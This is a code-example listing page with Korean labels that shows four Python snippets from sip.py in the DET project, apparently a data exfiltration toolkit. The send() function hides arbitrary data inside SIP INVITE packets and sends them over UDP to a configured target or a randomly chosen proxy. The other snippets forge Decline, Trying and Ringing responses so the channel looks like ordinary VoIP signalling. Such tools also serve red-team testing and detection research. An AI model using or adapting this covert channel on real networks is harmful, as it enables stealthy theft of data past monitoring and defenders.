예제 #1
0
파일: sip.py 프로젝트: shyatup/DET
def send(data):
    if config.has_key('proxies') and config['proxies'] != [""]:
        targets = [config['target']] + config['proxies']
        target = choice(targets)
    else:
        target = config['target']
    port = config['port']
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('', port))
    dialog = SIPDialog()
    laddr = socket.gethostbyname(socket.getfqdn())
    uac = UserAgent(caller, laddr, port=port)
    uas = UserAgent(callee, target, port=port)
    invite = dialog.invite(uac, uas, data)
    app_exfiltrate.log_message(
        'info', "[sip] Sending {0} bytes to {1}".format(len(data), target))
    sock.sendto(invite.pack(), (target, port))
    while True:
        try:
            recv_data, addr = sock.recvfrom(65535)
            response = sip.Response()
            response.unpack(recv_data)
            if response.reason == 'Decline':
                ack = dialog.ack(response)
                sock.sendto(ack.pack(), (target, port))
                sock.close()
                break
            else:
                continue
        except:
            pass
        break
예제 #2
0
파일: sip.py 프로젝트: shyatup/DET
    def decline(self, invite):
        packet = sip.Response()
        packet.status = '603'
        packet.reason = 'Decline'
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(
            self.uac.tag)
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet
예제 #3
0
파일: sip.py 프로젝트: shyatup/DET
    def trying(self, invite):
        packet = sip.Response()
        packet.status = '100'
        packet.reason = 'Trying'
        packet.headers['Via'] = invite.headers['via']
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to']
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet
예제 #4
0
파일: sip.py 프로젝트: shyatup/DET
    def ringing(self, invite):
        packet = sip.Response()
        packet.status = '180'
        packet.reason = 'Ringing'
        packet.headers['Via'] = invite.headers['via']
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(
            self.uac.tag)
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['Contact'] = '<sip:{}@{}>'.format(
            self.uac.alias, self.uac.ip)
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet